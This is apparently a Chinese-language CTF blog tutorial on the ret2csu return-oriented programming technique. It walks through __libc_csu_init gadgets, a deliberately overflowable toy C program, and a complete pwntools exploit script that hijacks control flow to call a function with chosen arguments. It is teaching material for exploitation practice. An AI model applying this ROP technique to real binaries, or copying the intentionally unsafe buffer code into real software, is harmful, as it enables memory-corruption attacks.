「PWN」最基础的 ret2csu
RET2CSU
0x01 为什么需要 ret2csu?
在 64bits 的 ELF 文件中,函数调用的前六个参数是分别存放在rdi、rsi、rdx、rcx、r8、r9这六个寄存器当中的,而我们在实际构建 ROP 时很难找到对应的 gadgets(大部分情况下是找不到 rdx),而 ret2csu 的关键点就在于使用__libc_csu_init()来获取两个 gadgets 来进行万能传参(同时泄露出函数真实地址)
0x02 __libc_csu_init()
__libc_csu_init()是用来对 libc 进行初始化操作的函数,而绝大部分软件都会调用到 libc,因此我们可以认为__libc_csu_init()基本算程序通用的函数之一
。这里,我们随便打开一个 64bitELF 文件查看一下它。
.text:0000000000401250 loc_401250: ; CODE XREF: __libc_csu_init+54↓j.text:0000000000401250 mov rdx, r14.text:0000000000401253 mov rsi, r13.text:0000000000401256 mov edi, r12d.text:0000000000401259 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8].text:000000000040125D add rbx, 1.text:0000000000401261 cmp rbp, rbx.text:0000000000401264 jnz short loc_401250.text:0000000000401266.text:0000000000401266 loc_401266: ; CODE XREF: __libc_csu_init+35↑j.text:0000000000401266 add rsp, 8.text:000000000040126A pop rbx.text:000000000040126B pop rbp.text:000000000040126C pop r12.text:000000000040126E pop r13.text:0000000000401270 pop r14.text:0000000000401272 pop r15.text:0000000000401274 retn从这里我们可以看出,我们可以让r15+rbx*8为我们所要执行函数的指针,edi、rsi、rdx可以分别作为函数的参数
在通常情况下,我们一般让rbx=0,rbp=1,这样可以赋值r15为指向函数的指针,如此一来便大大化简了我们使用 gadgets 的难度。
0x03 实战
在这里,我只准备对 ret2csu 的原理进行探究(因为还有半个小时就要打 HGAME 辣),所以我写了一个简单的程序,它会直接泄露出函数实际地址
source:
#include<stdio.h>#include<unistd.h>
int vul(int a,int b,int c){ if(c == 233) printf("Big Hacker!\n"); return 0;}
int main(){ char buf[30]; int (*ptr)(int a,int b,int c) = vul; printf("gift: %p\n", &ptr); read(0,buf,0x100); return 0;}编译:
gcc -m64 -fno-stack-protector -no-pie ret2csu_64bits.c -o ret2csu_64bits很简单,我们只需要利用__libc_csu_init()将 rdx 赋值为 233 就好了
而我们使用 ROPgadgets 可以发现是没有一个 gadgets 能让我们这样做的

这时候我们就需要进行 ret2csu 了
def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes: """ :param gadget1: call :param gadget2: pop :param rbx: better be 0 :param rbp: better be 1 :param r12: edi :param r13: rsi :param r14: rdx :param r15: function ptr :param return_addr: return addr :return: payload """ payload = b'' payload += p64(gadget2) payload += p64(0) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(gadget1) # Panding Trash payload += b'A'*0x38 payload += p64(return_addr) return payload值得注意的是,执行完 gadget1 之后,程序顺序执行会再次执行 gadget2,因此,我们需要再填充一次(7*0x8)的垃圾数据防止出现错误
完整 payload:
from pwn import *
context.log_level = 'DEBUG'context.arch = 'amd64'context.os = 'linux'
sh = process('./ret2csu_64bits')elf = ELF('./ret2csu_64bits')
sh.recvuntil(b"gift: ")vul_addr = int(sh.recvline(), 16)csu_gadget1_addr = 0x401250csu_gadget2_addr = 0x401266
def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes: """ :param gadget1: call :param gadget2: pop :param rbx: better be 0 :param rbp: better be 1 :param r12: edi :param r13: rsi :param r14: rdx :param r15: function ptr :param return_addr: return addr :return: payload """ payload = b'' payload += p64(gadget2) payload += p64(0) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(gadget1) # Panding Trash payload += b'A'*0x38 payload += p64(return_addr) return payload
gdb.attach(sh)payload = b'A'*(0x20+0x08) + csu(csu_gadget1_addr, csu_gadget2_addr, 0, 1, 0, 0, 233, vul_addr, elf.sym['main'])sh.sendline(payload)sh.interactive()